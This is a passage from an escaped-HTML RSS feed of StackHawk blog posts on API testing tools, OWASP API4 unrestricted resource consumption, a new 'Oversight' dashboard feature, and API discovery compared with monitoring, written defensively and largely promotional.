adopt.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;JMeter&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Originally designed for load testing, JMeter has also become a go-to for functional API testing. It supports many protocols and offers tools for creating test plans, running tests, and analyzing results, making it a solid choice if you’re looking to test how your API performs under different loads.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;SoapUI&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;If you’re working with SOAP or REST APIs, SoapUI is a comprehensive tool with strong support for both. It has a graphical interface for functional, security, and performance testing and offers options for scripting and automation, making it a well-rounded choice.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Katalon Studio&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Katalon Studio supports both API and UI testing, providing an intuitive interface, built-in keywords, and integrations with various tools. It’s beginner-friendly but also powerful enough for experienced testers, so it’s a flexible choice if you’re looking to test both APIs and UIs in one place.&lt;/p&gt;&lt;p&gt;Each of these tools has its own strengths, so consider what you need most—whether it’s a focus on security, automation, or load testing—to find the right fit for your project. Ultimately, the right set of tools can make API testing more efficient and thorough, testing APIs from every possible angle.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Best Practices for API Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API testing is essential for building reliable applications, and following a few best practices can make a big difference in your testing process. Here are some tips to keep your API testing efficient, thorough, and effective:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Define Clear Objectives and Scope&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Before diving into testing, clarify what you want to achieve. Are you testing for performance, security, or functionality? Defining your objectives and the scope of your testing helps you focus on critical areas and ensures you don’t miss any key aspects.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Use a Standardized Test Case Template&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Having a consistent template for test cases helps keep everything organized and easy to follow. Include sections for objectives, endpoints, parameters, expected outcomes, and actual results. A clear template makes it easier for others to understand your test cases and also simplifies test maintenance.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Be Thorough&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Thoroughly test all aspects of your API to ensure complete functionality and reliability. This involves validating each endpoint&amp;#39;s behavior with various input parameters and HTTP methods. To assess the API&amp;#39;s error handling and data validation capabilities, perform API testing with various test scenarios, including boundary conditions and edge cases.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Isolate with Mocking&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Use mocks to simulate external dependencies, like databases or third-party services. This allows you to focus solely on the API without external factors interfering. Mocking also makes it easier to isolate and test specific functionality without relying on systems that may not always be available.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Automate Whenever Possible&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;While manual API testing can be useful in certain situations, it&amp;#39;s best to automate API test cases whenever possible to save time, reduce human error, and enable continuous testing. Set up automated test cases using tools like Postman, REST-assured, or StackHawk and integrate them into your CI/CD pipeline. This way, you can run tests consistently and catch issues early.&lt;/p&gt;&lt;p&gt;By following these best practices, you can make sure your API testing is thorough, consistent, and effective. These practices help you catch potential issues sooner, improve software quality, and deliver a more reliable experience to your users.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Overcoming Challenges in API Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API testing can be tricky, with some unique challenges that come up along the way. Here are a few common issues you might face—and some practical tips to overcome them:&lt;/p&gt;&lt;p&gt;By being aware of these challenges and taking steps to address them, you can make your API testing process smoother and more effective. In the end, these efforts go a long way in ensuring a stable, secure, and high-quality API.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API testing is a critical part of delivering quality software. By thoroughly testing APIs throughout the development process, you can catch and fix potential issues early, cutting down on development costs and helping ensure a smooth, reliable experience for your users. As you build API testing into your workflow, keep refining your strategies, exploring new tools, and staying ahead of emerging security threats.&lt;/p&gt;&lt;p&gt;Enhance your&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt; &lt;u&gt;API security testing&lt;/u&gt;&lt;/a&gt; with StackHawk. Its user-friendly platform and seamless integration make incorporating dynamic application security testing (DAST) into your development workflow easy. Sign up today for a&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;free trial&lt;/u&gt;&lt;/a&gt; and begin testing your APIs for the&lt;a href=&quot;https://www.stackhawk.com/blog/understanding-the-2023-owasp-top-10-api-security-risks/&quot;&gt; &lt;u&gt;OWASP API Top 10&lt;/u&gt;&lt;/a&gt; within minutes.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Understanding and Protecting Against API4: Unrestricted Resource Consumption]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/understanding-and-protecting-against-api4-unrestricted-resource-consumption</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;According to OWASP API Security Top 10, unrestricted resource consumption is one of the most common API security vulnerabilities. This vulnerability occurs when API requests consume resources such as CPU, memory, disk space, or network bandwidth without proper limitations. This can lead to many problems, including denial-of-service (DoS) attacks, performance degradation, and increased costs.&lt;/p&gt;&lt;p&gt;In this blog, we&amp;#39;ll look into what makes this vulnerability so dangerous and discuss real-world examples of the damage it can cause. We&amp;#39;ll also share practical strategies to help you protect your APIs and keep your data and systems safe.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is Unrestricted Resource Consumption?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Unrestricted resource consumption attacks, much like leaving essential resources freely accessible without any limitations, can lead to overconsumption and potential depletion of vital system assets. This lack of control over resource usage can cause disruptions or system failures.&lt;/p&gt;&lt;p&gt;For example, an API endpoint that allows users to download large files without proper restrictions on the number or size of API requests could be exploited. A malicious user or a poorly designed script could repeatedly request substantial files, monopolizing bandwidth and potentially causing the server to crash. This illustrates the core problem: unrestricted resource consumption, especially when a single API client request can excessively consume resources, allowing attackers to misuse system resources.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Identifying Unrestricted Resource Consumption Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Identifying unrestricted resource consumption vulnerabilities requires a thorough and multi-faceted approach. Begin with a comprehensive code review, focusing on endpoints that handle resource-intensive operations, like file uploads, downloads, or complex calculations. Even a single API request to these endpoints can cause excessive resource use if not managed correctly. Ensure these endpoints have strong input validation, rate limiting, and resource quotas to prevent abuse.&lt;/p&gt;&lt;p&gt;Complement manual reviews with automated testing tools like fuzzers and&lt;a href=&quot;https://www.stackhawk.com/solutions/dast/&quot;&gt; &lt;u&gt;dynamic application security testing (DAST)&lt;/u&gt;&lt;/a&gt;. These tools expose your API to various requests, including unexpected inputs, to identify endpoints that may fail under heavy load or unusual conditions. This testing can uncover vulnerabilities that are not visible during normal use.&lt;/p&gt;&lt;p&gt;Continuous monitoring is crucial. Track your system’s resource usage with vigilant observation and logging. Sudden spikes in CPU, memory, or network usage could indicate an attack, a fault in a client, or an inefficient request. Detailed logs provide crucial insights into the source of these issues, allowing for quick response and resolution.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What are the Causes of Unrestricted Resource Consumption?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Unrestricted resource consumption vulnerabilities often arise from a combination of factors related to API design, implementation, and configuration. Some common causes include:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Lack of Input Validation and Sanitization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Failing to validate and sanitize user input can make applications vulnerable to malicious or malformed requests, such as oversized payloads, unexpected data types, or commands that trigger resource-intensive operations. This can degrade performance, cause crashes, and enable attacks like SQL injection or denial-of-service. Implementing robust input validation and sanitization helps prevent these issues and ensures that only valid data is processed.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Missing or Inadequate Rate Limiting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Without rate limiting, clients can send unlimited requests in a short time, which can overwhelm the server, degrade performance, or cause outages. This lack of control also opens the door to denial-of-service attacks and can lead to unexpected costs from excessive resource usage. Implementing effective rate limiting helps maintain system stability and prevents these issues.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Unbounded Loops or Recursion&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Code with unbounded loops or recursion can consume excessive CPU and memory, leading to performance issues, crashes, or system failure, especially when triggered by malicious input. These vulnerabilities can be exploited for denial-of-service attacks. To prevent this, set limits on loops and recursion, validate inputs, and monitor resource usage.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Misconfigurations or lack of resource quotas&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Incorrectly set resource limits or the absence of quotas can allow clients to consume excessive CPU, memory, or bandwidth, leading to performance degradation, outages, and higher costs. This unrestricted access makes systems more vulnerable to abuse, including denial-of-service attacks. Properly configuring resource limits and monitoring usage can prevent these issues.&lt;/p&gt;&lt;p&gt;Unrestricted resource consumption vulnerabilities often stem from a lack of proper resource management controls within the API, allowing clients to consume system resources without limitations or oversight.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Examples of an Unrestricted Resource Consumption Vulnerability&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Let’s explore some examples to demonstrate how attackers can exploit unrestricted resource consumption in different applications and understand the common pitfalls leading to these vulnerable patterns.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Example 1: No Rate Limiting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In this example, an API endpoint allows unlimited requests without any rate limiting, which can lead to excessive resource consumption.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The /expensive-operation endpoint returns a large dataset every time it is called. There is no limit to the number of requests a client can make, leading to potential excessive resource usage.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Example 2: Unlimited Data Uploads&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This example shows an API that allows clients to upload data without any restrictions on the size or number of uploads, which could overwhelm server storage or bandwidth.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The /upload endpoint does not enforce any limits on the size of the file being uploaded or the frequency of uploads. An attacker could exploit this to fill the server’s disk space or excessively consume bandwidth.&lt;/p&gt;&lt;p&gt;These examples illustrate how easily vulnerabilities from unrestricted resource consumption can occur when APIs lack proper controls. To protect your API, it is essential to implement rate limits, validate inputs, and set quotas.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding the Impact of Unrestricted Resource Consumption Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Unrestricted resource consumption vulnerabilities can severely impact your API server and overall system. The most immediate effect of such attacks is often performance degradation due to resource exhaustion. As attackers consume excessive resources, legitimate users may experience slow response times, timeouts, or complete service unavailability. Picture a popular e-commerce website grinding to a halt during a peak sales season because a bot exploited a vulnerability to request product data, overwhelming the target system. The resulting loss of revenue and customer trust can be devastating.&lt;/p&gt;&lt;p&gt;Beyond causing performance issues, unrestricted resource consumption can make systems vulnerable to Denial-of-Service (DoS) attacks. In a DoS attack, the attacker exhausts the target system’s resources, making it inaccessible to legitimate users. An unrestricted resource consumption vulnerability allows the attacker to exploit this weakness. The financial implications of unrestricted resource consumption can be significant. Cloud providers often charge based on resource usage. An attack or unintentional excessive usage due to a vulnerability can lead to a sudden and unexpected surge in your cloud bill.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Prevention and Mitigation Strategies&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To prevent unrestricted resource consumption, implement a multi-layered strategy. Start with robust input validation and sanitization—treat all user input as potentially harmful. This step ensures incoming data meets expected formats, sizes, and types.&lt;/p&gt;&lt;p&gt;Enforcing rate limits and throttling on your API endpoints controls the number of requests a client can make within a specific timeframe, preventing abuse and keeping your system from being overwhelmed, similar to a toll booth managing traffic flow. Establish clear resource quotas to limit the amount of resources each client can consume, ensuring fair usage for all users.&lt;/p&gt;&lt;p&gt;Regular code reviews and security audits are essential for maintaining a secure API. These reviews identify potential vulnerabilities before they become problems. Incorporate automated testing tools and fuzzing to rigorously test your API under various conditions, including heavy loads and unexpected inputs. Implement real-time monitoring and anomaly detection to track resource usage and identify unusual patterns.&lt;/p&gt;&lt;p&gt;By adopting these strategies, you significantly reduce the risk of unrestricted resource consumption vulnerabilities and bolster the security and resilience of your API.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Unrestricted resource consumption vulnerabilities can significantly compromise API security and performance, leading to issues such as denial-of-service attacks and increased cloud costs. To mitigate these risks, it is essential to adopt a multi-layered defense strategy that includes robust input validation, enforcing rate limits, setting resource quotas, and continuous monitoring. By understanding these vulnerabilities and proactively implementing security measures, you can protect your APIs against resource exhaustion attacks, ensuring smooth and reliable system operation.&lt;/p&gt;&lt;p&gt;By using StackHawk to proactively detect and address OWASP API Security Top 10 vulnerabilities, you can minimize the risks stemming from these common API threats.&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;Sign up&lt;/u&gt;&lt;/a&gt; for a 14-day free trial of StackHawk today to experience the difference StackHawk makes in detecting vulnerabilities and API security issues outlined in the OWASP API Top 10.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Introducing Oversight: Providing a Birds-Eye View of API Security]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/introducing-oversight-providing-a-birds-eye-view-of-api-security</guid><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[Brian Erickson]]></dc:creator><content:encoded>&lt;p&gt;As organizations grow and their application portfolios expand, keeping track of security testing can become a daunting task. StackHawk’s mission is to empower teams to take control of their application security with tools that scale alongside them. With the launch of our new &lt;b&gt;Oversight&lt;/b&gt; feature, we&amp;#39;re making it easier for teams to manage their application security at scale, providing a streamlined view of their applications and security status across environments. Now live and ready for use, &lt;b&gt;Oversight&lt;/b&gt; delivers a comprehensive, top-level view to help teams stay ahead of potential risks and maintain a strong security posture.&lt;/p&gt;&lt;h2&gt;A New View for a Growing List of Applications&lt;/h2&gt;&lt;p&gt;In the past, StackHawk’s Applications list worked well for smaller teams but became unwieldy for larger organizations managing multiple teams and hundreds of applications. The new &lt;b&gt;tabular view&lt;/b&gt; is designed with scalability in mind, allowing users to see &lt;b&gt;all their applications at a glance&lt;/b&gt;. With improved filtering, sorting, and search capabilities, security teams can now quickly drill into specific applications or environments to monitor their security status.&lt;/p&gt;&lt;p&gt;Here’s what the new Applications List delivers:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Tabular Display&lt;/b&gt;: This clean, detailed list of all your applications includes key metrics such as the &lt;b&gt;last scan date&lt;/b&gt;, &lt;b&gt;findings from the last scan&lt;/b&gt;, and &lt;b&gt;scan duration&lt;/b&gt;. These columns can be sorted to help you identify trends, like the applications with the most critical findings or those with longer scan times.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Recent Commits&lt;/b&gt;: By integrating with GitHub, the Applications List also displays &lt;b&gt;recent commits&lt;/b&gt;, giving teams insight into how actively the codebase is changing. This helps teams determine whether their scan frequency is keeping up with code updates.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Filters and Search&lt;/b&gt;: With the expanded filtering options, users can filter applications by teams, environments, or other custom facets. The &lt;b&gt;search bar&lt;/b&gt; allows for quick access to specific applications, and a clear indicator shows when filters are active to ensure you&amp;#39;re always aware of the view you’re seeing.
&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Oversight: A Proactive Approach to Security&lt;/h2&gt;&lt;p&gt;On top of the new Applications List, StackHawk is introducing &lt;b&gt;Oversight&lt;/b&gt;, a feature designed to provide teams with a top-level view of their application security program. Oversight aggregates key security data across all applications, making it easier to see the big picture.&lt;/p&gt;&lt;p&gt;Here’s how Oversight supports security teams:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scan Frequency Monitoring&lt;/b&gt;: Oversight flags applications that haven’t been scanned in the last 30 days, ensuring that security teams are always aware of gaps in coverage. The visual dashboard helps identify applications where scan activity may be slipping, so nothing gets missed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Total Findings Overview&lt;/b&gt;: The oversight panel highlights **outstanding findings** across all applications. This makes it easy for teams to prioritize remediation efforts and track which applications are most vulnerable.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Attack Surface Insights&lt;/b&gt;: For organizations leveraging StackHawk’s &lt;b&gt;API Discovery&lt;/b&gt; feature, Oversight provides a view of the &lt;b&gt;attack surface coverage&lt;/b&gt;, helping teams ensure they’re testing all critical areas of their applications, including APIs.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Enhancing Collaboration and Flexibility&lt;/h2&gt;&lt;p&gt;The new &lt;b&gt;Oversight&lt;/b&gt; feature is designed to fit seamlessly into your organization’s workflow, offering flexibility and customization options. Based on feedback from our customers, we’ve built the following capabilities:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Environment-Specific Insights&lt;/b&gt;: See scan results and findings for each environment (e.g., development, QA, production) to better track the security status across your application lifecycle.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Contextual Filters&lt;/b&gt;: Filter your applications by teams, environments, or other attributes, so you can focus on the parts of your organization that need the most attention.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;What’s Next?&lt;/h2&gt;&lt;p&gt;We&amp;#39;re excited to announce that &lt;b&gt;Oversight&lt;/b&gt; is now live and available to all StackHawk customers. With this new feature, we continue our commitment to delivering &lt;b&gt;developer-first, scalable security tools&lt;/b&gt; that make it easier for organizations to manage their application security programs, no matter how large their application portfolios grow.&lt;/p&gt;&lt;p&gt;Try out &lt;b&gt;Oversight&lt;/b&gt; today and experience the benefits of streamlined application management and enhanced security visibility. This is just the beginning—&lt;b&gt;we plan to continue building on Oversight over the coming months&lt;/b&gt;, adding new capabilities to further support your security efforts. We’d love to hear how these features are helping your team stay on top of security testing. If you have any feedback or suggestions, we&amp;#39;re always here to listen. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Try StackHawk today – 14 day free trial&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Learn more about Oversight by visiting our &lt;a href=&quot;https://www.stackhawk.com/solutions/oversight/&quot;&gt;solutions page.&lt;/a&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[API Discovery vs. API Monitoring: Why Proactive API Security is the Future]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/api-discovery-vs-api-monitoring-why-proactive-api-security-is-the-future</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;As organizations increasingly depend on APIs to drive their applications—especially with AI enabling developers to&lt;a href=&quot;https://thehackernews.com/2024/03/apis-drive-majority-of-internet-traffic.html&quot;&gt; &lt;u&gt;ship code up to 200x faster&lt;/u&gt;&lt;/a&gt;—the demand for strong&lt;a href=&quot;https://www.stackhawk.com/blog/5-best-api-security-solutions-of-2023/&quot;&gt; &lt;u&gt;API security solutions&lt;/u&gt;&lt;/a&gt; has never been more critical. However, not all API security methods are equally effective. One of the most pressing and sometimes overlooked aspects of API security is ensuring that all APIs are accurately documented and protected. Automatic&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-api-discovery-everything-you-need-to-know/&quot;&gt; &lt;u&gt;API discovery&lt;/u&gt;&lt;/a&gt; is emerging as a critical solution for this gap, efficiently identifying and documenting APIs with API portfolios big and small. Also within this realm is the tools associated with&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-vs-api-security-monitoring/&quot;&gt; &lt;u&gt;API monitoring&lt;/u&gt;&lt;/a&gt;. However, which should be prioritized, and where does each solution fit?&lt;/p&gt;&lt;p&gt;The debate between &lt;b&gt;API discovery&lt;/b&gt; and &lt;b&gt;API monitoring&lt;/b&gt; is gaining traction, with proactive security solutions like&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; leading the charge in shifting the industry’s approach. In this blog, we will look at the different aspects of each solution, the use cases they cover, and how you should use them to&lt;a href=&quot;https://www.stackhawk.com/blog/web-api-security-essential-strategies-and-best-practices/&quot;&gt; &lt;u&gt;secure your APIs&lt;/u&gt;&lt;/a&gt;. Let&amp;#39;s get started by looking more in-depth at both solutions.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding API Discovery and API Monitoring&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;&lt;b&gt;API monitoring&lt;/b&gt; has long been the standard approach to API security. It involves tracking and analyzing API traffic in production environments, often using tools that monitor for anomalies, unauthorized access, and other potential threats. While monitoring is essential, it tends to be reactive—identifying issues only after they occur. This late-stage detection can leave your organization vulnerable to attacks that could have been prevented with earlier intervention.&lt;/p&gt;&lt;p&gt;On the other hand, automated &lt;b&gt;API discovery&lt;/b&gt; helps identify APIs as they are created, even before they reach production. This method allows for earlier detection of security vulnerabilities, enabling organizations to address potential threats before they can be exploited. In the world of API security, this proactive stance is becoming increasingly necessary, especially with the rapid proliferation of APIs in today’s interconnected applications.&lt;/p&gt;&lt;p&gt;Unlike API monitoring, which is generally automated, manual API discovery exercises are possible. Manual API discovery, a hands-on approach where teams manually track and document APIs, is more suitable for smaller environments. However, it presents challenges in larger settings, such as being time-consuming, error-prone, and requiring significant human effort and knowledge that might not always be up-to-date. In most cases, using API discovery tools to automate API discovery will be the most efficient way to ensure all APIs are discovered and documented as part of your attack surface.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Why Proactive and Automatic API Discovery Matters&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Continuous and automated API discovery is a critical piece of security for a few reasons:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Immediate Onboarding and Integration
&lt;/b&gt;One key advantage of proactive API discovery is the speed and ease of onboarding. Solutions like StackHawk enable organizations to get started in just &lt;b&gt;15 minutes &lt;/b&gt;and integrate seamlessly with their existing development processes, compared to the months-long integrations required by traditional API monitoring tools. Systematically reviewing API endpoints ensures security and compliance from the outset.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Comprehensive Coverage Before Production
&lt;/b&gt;Proactive API discovery doesn’t just focus on what’s already in production. It identifies APIs &lt;b&gt;before&lt;/b&gt; they go live, including internal APIs, B2B APIs, and those that may otherwise fly under the radar. This includes managing &lt;b&gt;API sprawl&lt;/b&gt; by connecting discovered APIs directly to the teams responsible for their development, ensuring that security is baked in from the start. By covering &lt;b&gt;30% of your applications&lt;/b&gt; with this approach, you can catch vulnerabilities before they see the light of day.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Source Code Driven Accuracy
&lt;/b&gt;Unlike traditional API monitoring tools that rely on production traffic, StackHawk’s approach is driven by source code analysis. This &lt;b&gt;bottoms-up&lt;/b&gt; method provides far more accuracy, allowing you to identify and fix issues at the code level before they become larger problems in production. This&lt;a href=&quot;https://www.stackhawk.com/blog/why-shift-security-left/&quot;&gt; &lt;b&gt;&lt;u&gt;shift-left&lt;/u&gt;&lt;/b&gt;&lt;/a&gt; approach—discovering APIs as they are created, not just after they are deployed—ensures early and precise vulnerability detection.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Extensive API Type Compatibility
&lt;/b&gt;StackHawk supports a wide range of API types, including &lt;b&gt;REST, GraphQL, and gRPC&lt;/b&gt;. It also excels at identifying &lt;b&gt;shadow APIs&lt;/b&gt;—those that exist in your environment but are unknown to your security teams—and &lt;b&gt;zombie APIs&lt;/b&gt;, which are inactive and have no recent development activity. By addressing these hidden vulnerabilities, you can secure your&lt;a href=&quot;https://www.stackhawk.com/blog/building-a-secure-api-ecosystem-starts-with-api-discovery/&quot;&gt; &lt;u&gt;API ecosystem&lt;/u&gt;&lt;/a&gt; more comprehensively.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2&gt;&lt;b&gt;The Competitive Edge: Why StackHawk is Different&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;While traditional API monitoring tools like Noname, Salt, and Traceable focus on monitoring production traffic, StackHawk takes a proactive approach with &lt;b&gt;shift-left API discovery&lt;/b&gt;. This methodology identifies and secures APIs from the moment they are created, minimizing risks before deployment. This proactive stance is especially crucial in the age of AI, where the speed of development makes it impossible to rely solely on reactive security measures.&lt;/p&gt;&lt;p&gt;Managing the entire API lifecycle from creation to retirement enables organizations to develop, monitor, test, and secure APIs efficiently, addressing the complexities involved in managing numerous internal and external APIs in today&amp;#39;s IT infrastructures.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Infrastructure Flexibility:&lt;/b&gt; StackHawk’s solution requires no infrastructure changes, offering a &lt;b&gt;one-click deployment&lt;/b&gt; that immediately begins discovering APIs. Additionally, StackHawk covers both internal and B2B APIs—an area where many competitors fall short.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/web-app/api-discovery.html&quot;&gt;&lt;b&gt;&lt;u&gt;Attack Surface Discovery&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; (ASD) vs. API Discovery:&lt;/b&gt; StackHawk’s approach goes beyond simple API discovery by offering a complete &lt;b&gt;attack surface discovery&lt;/b&gt; and testing solution. This ensures that your entire digital footprint is secured, not just the APIs you know about.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Why CISOs Should Care&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In an era where it only takes one breach to cause significant damage, proactive API discovery is no longer a luxury—it’s a necessity. &lt;b&gt;CISOs need full visibility&lt;/b&gt; into their organization’s attack surface, and StackHawk’s proactive API security solution provides just that. Accurate API documentation supports security and compliance efforts by providing detailed information about APIs, including their purposes and security measures. By identifying and securing APIs before they reach production, you can prevent vulnerabilities from ever becoming a threat.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The Role of API Management in API Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Although API discovery and monitoring are key parts of the API security puzzle, they still sit under the larger umbrella of API management. It serves as the backbone for identifying, cataloging, and securing all existing APIs within an organization, including shadow APIs, zombie APIs, and rogue APIs. By leveraging advanced&lt;a href=&quot;https://www.stackhawk.com/blog/discover-the-best-api-discovery-tools-in-2024/&quot;&gt; &lt;u&gt;API discovery tools&lt;/u&gt;&lt;/a&gt;, organizations can gain comprehensive visibility into their API usage and traffic, which is crucial for detecting vulnerabilities and mitigating security risks proactively.&lt;/p&gt;&lt;p&gt;API management is not just about keeping track of APIs; it involves using automated tools to streamline API discovery processes, thereby reducing the risk of human error and enhancing the accuracy of API documentation. This ensures that APIs are not only secure but also well-documented and compliant with regulatory requirements. Unfortunately, most API management solutions do not extensively implement API discovery like StackHawk does, with the capability to scan source code and look for these potentially hidden endpoints.&lt;/p&gt;&lt;p&gt;A key component of API management is implementing API gateways and management tools. These tools monitor and control API traffic, enforce security policies, and apply rate limiting to prevent overloading. This multifaceted approach helps prevent unauthorized access and significantly reduces the risk of security breaches. This is a cornerstone of API security, but if APIs are not documented, they can easily fall outside of the protection of an API management solution.&lt;/p&gt;&lt;p&gt;By leveraging API management and StackHawk&amp;#39;s API discovery tools, organizations can ensure continuous API discovery processes that identify and prioritize security risks. By doing so, organizations can take proactive measures to secure their APIs before they become targets for malicious actors. This proactive stance is essential for maintaining a robust security posture in an increasingly interconnected digital landscape.&lt;/p&gt;&lt;p&gt;Effective API management encompasses several critical activities:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API Discovery&lt;/b&gt;: Identifying and cataloging all existing APIs, including shadow APIs, zombie APIs, and rogue APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API Documentation&lt;/b&gt;: Creating and maintaining accurate and up-to-date documentation for all APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API Security&lt;/b&gt;: Implementing security measures to&lt;a href=&quot;https://www.stackhawk.com/blog/defending-against-api-attacks-strategies-for-protecting-your-apis-and-data/&quot;&gt; &lt;u&gt;protect APIs&lt;/u&gt;&lt;/a&gt; from unauthorized access and security breaches.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API Traffic Management&lt;/b&gt;: Monitoring and controlling API traffic to prevent overloading and unauthorized access.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API Compliance&lt;/b&gt;: Ensuring that APIs comply with regulatory requirements and industry standards.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By implementing these activities, organizations can ensure that their APIs are secure, well-documented, and compliant with regulatory requirements. This reduces the risk of security breaches and improves the overall security and compliance of their APIs.&lt;/p&gt;&lt;p&gt;Adopting effective API management practices includes ensuring that comprehensive API discovery is part of your playbook. By ensuring that every API is documented and covered under an API management solution, organizations can enhance the security and compliance of their APIs, reduce the risk of security breaches, and ensure that their APIs comply with regulatory requirements.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The Future of API Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The need for proactive, &lt;b&gt;shift-left&lt;/b&gt; security solutions will only grow as the API landscape expands. &lt;b&gt;API discovery&lt;/b&gt; offers a forward-looking approach to API security that goes beyond the limitations of traditional API monitoring. With StackHawk, you’re not just monitoring APIs—you’re discovering and protecting 